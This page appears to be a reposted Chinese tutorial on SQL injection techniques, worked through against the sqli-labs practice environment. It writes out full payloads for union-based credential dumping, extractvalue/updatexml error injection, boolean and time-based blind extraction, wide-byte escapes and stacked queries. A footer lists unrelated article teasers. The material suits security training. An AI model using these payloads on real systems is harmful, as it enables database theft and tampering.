sql注入手法详解

news2025/2/26 19:42:43

sql定义

sql--结构化查询语句

sql注入:首先我们通过前端将我们的payload(恶意代码)传送到后台服务器 传送到后台以后 我们提交的payload拼接到sql语句中 作为sql语句的一部分被执行 从而导致数据库又被脱库甚至删库的风险 使得数据库受损

sql注入手法

sql注入可以根据不同的标准进行分类

通过参数类型分类

1.数字型:如果某个参数存在注入而且参数值属于数字型的话 那么这种就被称为数字型注入

eg:select * from users where id=1;

数字型扩展:就是说参数值属于数字型 但是可能包含外围的括号(可能是一个 也可能是两个)我们得考虑到这种况

eg:select * from users where id=(1);

2.字符型:如果某个参数存在注入而且参数值属于字符型的话 那么这种就被称为字符型注入

(1)单引号字符型:外包裹是一对单引号 这个时候被称为单引号字符型注入

eg:select * from users where id='1';

(2)双引号字符型:外包裹是一对双引号 这个时候被称为双引号字符型注入

eg:select * from users where id="1";

字符型扩展:参数值属于字符型 但是可能存在外围的括号(可能是一个 也可能是两个)

eg:select * from users where id=('1');

通过注入手法分类

1.联合注入:

具体可以分成以下几个步骤:

以下部分结合sqli-labs/Less-1来讲

(1)判断页面是否可以进行联合注入手法:

我们输入?id=1 查看以下页面

 

 

可以看到页面对于我们的正确注入产生了相应的回显 所以可以进行联合注入

(2)接着判断一下注入点结构:

我们可以输入?id=1 and 1=2判断一下注入类型是否属于数字型 怎么理解为什么要输入这句话呢

我们结合sqlyog进行讲解

如果参数类型属于数字型的话 那么输出结果如下所示

首先先来看看没有条件下的查询语句及结果

 

 

然后看看加了条件并且注入类型为数字型的查询语句及结果

原理:由于and优先级大于= 所以先会执行1 and 1执行结果为1 然后执行1=2 执行结果为0 所以查询条件为id=0 当然查询不到结果

那么如果参数类型为字符型的话 查询结果及语句如下所示:

 

 

 

原理:由于id本身属于数字型 然后你传入一个字符型 就会发生类型转化操作 '1 and 1=2'会被转换为1

判断完注入类型后 如果是属于数字型的话 那么要输入?id=1--+/#进行佐证 如果没有外括号的话 那么就会有相应的页面回显 如果存在外包裹的话 那么就没有回显 那么就说明注入点包含括号 接下来就要判断一下是包含一个括号还是两个括号 分别输入?id=1)--+/# ?id=1))--+/# 然后如果其中有一个存在相应回显的话 那么注入点结构就是我们输入的那样

如果是属于字符型的话 那么要输入?id=1'/1"--+/#进行佐证 如果没有外括号的话 那么就会有相应的页面回显 如果存在外包裹的话 那么就没有回显 那么说明注入点包含括号 接下来要判断一下是包含一个括号还是两个括号 分别输入?id=1')/1")--+/# ?id=1'))/1"))--+/# 然后如果其中有一个存在相应回显的话 那么注入点结构就是我们的输入的那样

假设接下来的操作字段数为3

(3)接下来开始爆回显位顺便爆字段数 如果字段数不符合数据库中的实际字段数 那么就会报错 然后记得靶场的回显只能是一条 如果主查询存在回显的话 那么次查询就看不到查询结果了 所以我们应该让主查询无法返回查询结果 一般都设置为0或-1 如果后台服务器对注释符进行过滤操作 那么-会被当作注释符过滤掉 所以这个时候我们只能写成0

eg:?id=xx union select 1,2,3--+/#

假设接下来的回显位为2和3

(4)接下来爆库/版本号

eg:?id=xx union select 1,database(),version()--+/#

(5)接着进行爆表

eg:?id=xx union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+/#

(6)接着进行爆字段操作

eg:?id=xx union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx' and table_schema=database()--+/#

(7)接着进行爆用户名和密码操作

eg:?id=xx union select 1,2,group_concat(username,password) from xxx--+/#

这样一个完整的脱库操作就完成了

2.报错注入

(1)首先要先判断一下是否能够进行报错注入

当我们进行了错误注入后 页面会对我们的注入有报错信息的反应 将报错信息回显在页面上

(2)然后判断一下注入点的结构:

这个可以参考联合注入里面的注入点判断 我那个写的很清楚了

(3)接下来可以通过报错注入进行各种爆破操作

我介绍以下三种方式:

group by重复键冲

如果一个表格储存的数据>=3 那么输入以下语句就会报错 下面这个例子通过重复键冲进行爆库操作

select count(*),concat(floor(rand(0)*2),database())x from xxx group by x;

extractvalue()函数

这个例子通过extractvalue()函数进行爆库操作

extractvalue(1,concat(0x7e,database(),0x7e))--+

updatexml()函数

这个例子通过updatexml()函数进行爆库操作

updatexml(1,concat(0x7e,database(),0x7e),1)--+

3.布尔盲注

(1)首先先要判断一下当前关卡是否能够进行联合注入和报错注入 因为这两个方法的执行效率实在比布尔盲注高得多 如果正确注入后没有回显位 错误注入后没有错误信息的话 那么就只能使用布尔盲注了

(2)接下来要进行的是判断注入点结构 这个可以参考联合注入里面的注入点结构判断 其实大体上都是一样的 只不过他不能显示查询的结果和报错信息了 但是他还是可以对我们的注入进行页面的辨别

(3)接下来要进行的是爆数据库的长度的操作

length(database())=xxx--+

(4)然后进行爆数据库的名称 这里我就以爆首字母为例

ascii()--可以将字符转换成对应的ascii码值

substr()--可以截取字符串

ascii(substr(database(),1,1))=xxx--+

(5)然后进行的是爆表格的个数操作

(select count(*) from information_schema.tables where table_schema=database())=xxx--+

(6)然后进行爆表格名称的个数 这里第一个表格为例

(select length(*) from information_schema.tables where table_schema=database() limit 0,1)=xxx--+

(7)然后进行爆表格名称 这里以第一个表格首字母为例

ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=xxx--+

(8)接着进行爆字段个数操作

(select count(*) from information_schema.columns where table_name=xxx and table_schema=database())=xxx--+

(9)接着进行爆字段名称个数 这里以第一个字段为例

(select length(*) from information_schema.columns where table_name=xxx and table_schema=database() limit 0,1)=xxx--+

(10)接着进行爆字段名称操作 这里以第一个字段首字母为例

ascii(substr((select column_name from information_schema.columns where table_name=xxx and table_schema=database() limit 0,1),1,1))=xxx--+

(11)最后进行爆用户名和密码操作

ascii(substr((select group_concat(username,password) from xxx),1,1))=xxx--+

从上面一大段的东西你就可以知道这个注入手法有多麻烦了吧 所以我建议你们使用脚本进行爆破操作 脚本可以参考我前面写的布尔盲注脚本文章CSDN

4.时间盲注

(1)这个注入手法使用与那些对于正确注入和错误注入都显示一样页面的题目 当你怎样注入页面都不会改变的时候 这个时候得使用时间盲注

(2)判断注入点的结构 这个不可以参考联合注入的注入点结构判断 因为无论如何就只有一种页面反馈

我们具体的做法如下所示

如果想要知道是不是数字型注入的话 那么输入?id=1 and sleep(10)--+ 如果页面响应了很久 那么就属于数字型注入

如果想要知道是不是单引号字符型注入的话 那么输入?id=1' and sleep(10)--+ 如果页面响应了很久 那么就属于单引号字符型注入

如果想要知道是不是双引号字符型注入的话 那么输入?id=1" and sleep(10)--+ 如果页面响应了很久 那么就属于双引号字符型注入

至于有无扩展的话 依旧是按照同样方法进行判断

(3)时间注入的写法有两种

一种是和布尔盲注结合 比如想要获取数据库的长度 如果一旦布尔盲注判断为真后 页面就会进入响应状态

length(database())=xxx and sleep(10)--+

一种是和条件注入以及布尔盲注相结合 比如还是想要获取数据库的长度 如果一旦布尔盲注判断为真后 页面就会进入响应状态

if(length(database())=xxx,sleep(10),1)--+

(4)接着开始爆数据库的长度

length(database())=xxx and sleep(10)--+

(5)接着爆数据库的名称 这里以首字母为例

ascii(substr(database(),1,1))=xxx and sleep(10)--+

(6)接着进行爆表格个数的操作

(select count(*) from information_schema.tables where table_schema=database())=xxx and sleep(10)--+

(7)接着进行爆表格名称的个数 这里以第一个表格为例

(select length(*) from information_schema.tables where table_schema=database())=xxx and sleep(10)--+

(8)接着进行爆表格名称操作 这里以第一个表格的首字母为例

ascii(substr((select table_name from information_schema.tables where table_schema=database())=xxx limit 0,1),1,1))=xxx and sleep(10)--+

(9)接着进行爆字段个数操作

(select count(*) from information_schema.columns where table_schema=database() and table_name='xxx')=xxx and sleep(10)--+

(10)接着进行爆字段名称个数 这里以第一个表格为例

(select length(*) from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1)=xxx and sleep(10)--+

(11)接着进行爆字段名称操作 这里以第一个表格的首字母为例

ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='xxx' limit 0,1),1,1))=xxx and sleep(10)--+

(12)接着进行爆用户名和密码操作

ascii(substr((select group_concat(username,password) from xxx),1,1))=xxx and sleep(10)--+

5.http头注入

http头包括一些常见的注入点 比如user-agent、referer、cookie

但是这些东西最好通过抓包后再去进行修改或者判断

然后注入手法还是通过前面四个中去挑选即可 也就是说http头注入实际上应该和前四个注入搭配使用才能够进行后续的操作

注入手法判断完以后 剩余操作可以根据各自的手法进行爆破

6.宽字节注入

什么叫做宽字节 就是有些字符集中的部分字符得用两个字符或者两个以上字符表示 比如在gbk中 汉字用两个字节表示 在utf-8中 汉字用三个字节表示

为什么会有宽字节注入?因为我们将参数值提交到后台服务器后 如果后台服务器存在转义操作的话 那么这时候就要通过宽字节注入将转义操作需要的反斜杠一并组成一个宽字节 然后帮助反斜杠后面的字符逃逸

常见的宽字节注入:

%df%5c

%bb%5c

%c0%5c

……

后续我会在做一篇有关宽字节注入的文章

7.堆叠注入

在sql中;表示sql语句的结束

所以我们可以利用;来对两句sql语句进行分隔 并且同时执行两句sql语句

eg:select * from demo;update demo set username='xxx' where id=xxx;

但是堆叠注入也有其局限性:

比如说两句sql都是查询语句 那么只能显示第一条sql查询语句结果

8.二次注入

可以参考我以前写的关于sqli-labs/Less-24关的文章

CSDN

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/39407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

领悟《信号与系统》之 非周期信号的傅里叶变换及性质

非周期信号的傅里叶变换及性质一、非周期信号的傅里叶变换二、 典型信号的傅立叶变换1.单边指数信号2.偶双边指数3. 矩阵脉冲信号4. 奇双边指数5. 符号函数6. 冲激信号7. 阶跃信号三、常用傅里叶变换表这里记录的信号都是非周期信号的傅里叶变化,频谱变换的特点就是…

VsCode 配置eslint,支持typescript的语法检查,及时发现低级语法错误,包括函数未定义等行为

背景 最近学习cocos的小游戏制作,参考游戏管理器的代码进行调试的时候,发现自己运行的结果一直都是跟官方效果不一样,没有自动生成更多的方块。肉眼检查代码差异,基本上代码是一样的,浏览器页面调试的时候也看不出问题…

[附源码]Python计算机毕业设计高校教室申请管理系统

项目运行 环境配置: Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术: django python Vue 等等组成,B/S模式 pychram管理等等。 环境需要 1.运行环境:最好是python3.7.7,…

【仿牛客网笔记】项目进阶,构建安全高效的企业服务——热帖排行

p:投票数 T:发布时间间隔 G:系数,通常为1.5,1.8 计算帖子的分数 注入RedisTemplate 帖子刷新 实现定时任务 刷新帖子 实现更新帖子分数 刷新帖子分数任务 配置Trigger 注释掉定时任务,注释注解就可以 启动服务之…

人口数据集:地级市常住人口与户籍人口、人口1%抽样调查数据两大维度指标数据

一、地级市常住人口与户籍人口 1、数据来源:地级市常住人口数据(主要来源于各地政府公报),户籍人口数据来源于《中国城市统计年鉴》 2、时间跨度:2003-2019年 3、区域范围:280个地级市 4、指标说明&…

[附源码]Python计算机毕业设计电影网站系统设计

项目运行 环境配置: Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术: django python Vue 等等组成,B/S模式 pychram管理等等。 环境需要 1.运行环境:最好是python3.7.7,…

【Spring】Bean生命周期

一、背景: 自动注入 UserService 对象, UserService 结构如下 二、创建 Bean 的整体流程: UserService.class ------> 无参的构造方法 ------> 普通对象(无值) ------> 依赖注入 ------> 初始化前&#…

FreeCAD二次开发-基于控制台模式FC外部开发

版本 FreeCAD0.18.2+PyCharm Community 2020.3.3 演示效果 环境搭建步骤 1.先安装好FreeCAD和PyCharm 2.添加环境变量 点击确定,全部关掉。 3.测试变量是否生效(CMD打开控制台,输入python回车) 弹出如下,说明可以进入FreeCAD自带的python解释器 4.打开PyCharm新建项目 …

Windows静态库用C++代码调用C语言的旧库方法extern ”c“

静态库特点 运行不存在 静态库源码被链接到调用程序中 目标程序的归档 C语言静态库 C静态库的创建 1.创建一个静态库项目 2.添加库程序,源文件使用C文件 C静态库的使用 库路径设置:可以使用pragma关键字设置 #pragma comment(lib,“./lib/cli…

15、Mybatis获取参数值的情况1(mapper接口方法的参数为单个字面量类型)

Mybatis获取参数值的情况1(mapper接口方法的参数为单个字面量类型) #{}和${}可以通过任意名称来获取 mapper接口方法的参数为单个字面量类型第一步: 第二步:#{} 结果: 第二步:${} 结果 第三步: 这种也行&…

站酷基于服务网格 ASM 的生产实践

01背景介绍Aliware站酷(ZCOOL)2006 年 8 月创立于北京,深耕设计领域多年,聚集了 1500 万设计师、摄影师、插画师、艺术家、创意人,在设计创意群体中具有一定的影响力与号召力。站酷在创立之初,就以“让设计…

libcurl 库的编译

因为要用到 libcurl 库的接口进行练习,而现在手上只有curl相关的头文件,那没办法只能下载源码进行编译了,这里记录一下编译 x86 与 hisi dv300 版本的动态库。 根据头文件 curlver.h 里的版本信息,我是直接下载 7.67.0 版本的源码…

领悟《信号与系统》之 LTI 系统的卷积积分及性质

LTI 系统的卷积积分及性质一、卷积积分及其性质1. 任意信号的分解2. 任意信号作用下的零状态响应3. 卷积的定义4. 卷积性质1. 代数性质2. f(t)与奇异信号的卷积 (非常重要)3. 卷积的微分和积分4. 卷积时移5. 常用信号的卷积公式二、总结重点笔记主要记录…

MNN--初步学习

来自阿里MNN有三个贡献点: 提出了预推理机制,在线计算推理成本和最优方案优化了kernel提出后端抽象实现混合调度MNN的架构: 分离线和在线两部分。离线就是很传统的模型转换、优化、压缩、量化的那一套东西,这里mnn转出的模型文件…

【外卖项目实战开发三】

文章目录分类管理业务开发公共字段自动填充问题分析代码实现功能完善新增分类需求分析数据模型代码开发分类信息分页查询需求分析代码开发删除分类需求分析代码开发代码完善关键代码修改分类需求分析代码实现分类管理业务开发 公共字段自动填充 问题分析 前面我们已经完成了…

A股上市公司MSCI指数和ESG评级效果(2010-2021年)

1、数据来源:摩根斯坦利资本国际公司(Morgan Stanley Capital International) 2、时间跨度:2010--2021 3、区域范围:A股上市公司 4、指标说明: ESG是英文Environmental(环境)、Social(社会&…

《人月神话》(The Mythical Man-Month)6贯彻执行(Passing the Word)

《人月神话》(The Mythical Man-Month)Chapter 6. 贯彻执行 Passing the Word他只是坐在那里,嘴里说:"做这个!做那个!"当然,什么都不会发生,光说不做是没有用的。- 哈里杜…

基于主从博弈的社区综合能源系统分布式协同优化运行策略matlab/cplex程序

基于主从博弈的社区综合能源系统分布式协同优化运行策略matlab/cplex程序 随着能源市场由传统的垂直一体式结构向交互竞争型 结构转变,社区综合能源系统的分布式特征愈发明显,传统 的集中优化方法难以揭示多主体间的交互行为。该文提出一 种基于主从博弈…

(免费分享)基于ssm在线点餐

源码获取:关注文末gongzhonghao,017领取下载链接 开发工具:IDEA ,Tomcat8.0,数据库:mysql5.7 /*** FileName: CategoryController** Date: 2020/9/30 17:04* Description:*/ package com.qst.goldenarches.contro…

关于环境保护html网页设计完整版-4环保垃圾分类5页

⛵ 源码获取 文末联系 ✈ Web前端开发技术 描述 网页设计题材,DIVCSS 布局制作,HTMLCSS网页设计期末课程大作业 | 环境保护 | 保护地球 | 校园环保 | 垃圾分类 | 绿色家园 | 等网站的设计与制作HTML期末大学生网页设计作业 HTML:结构 CSS:样…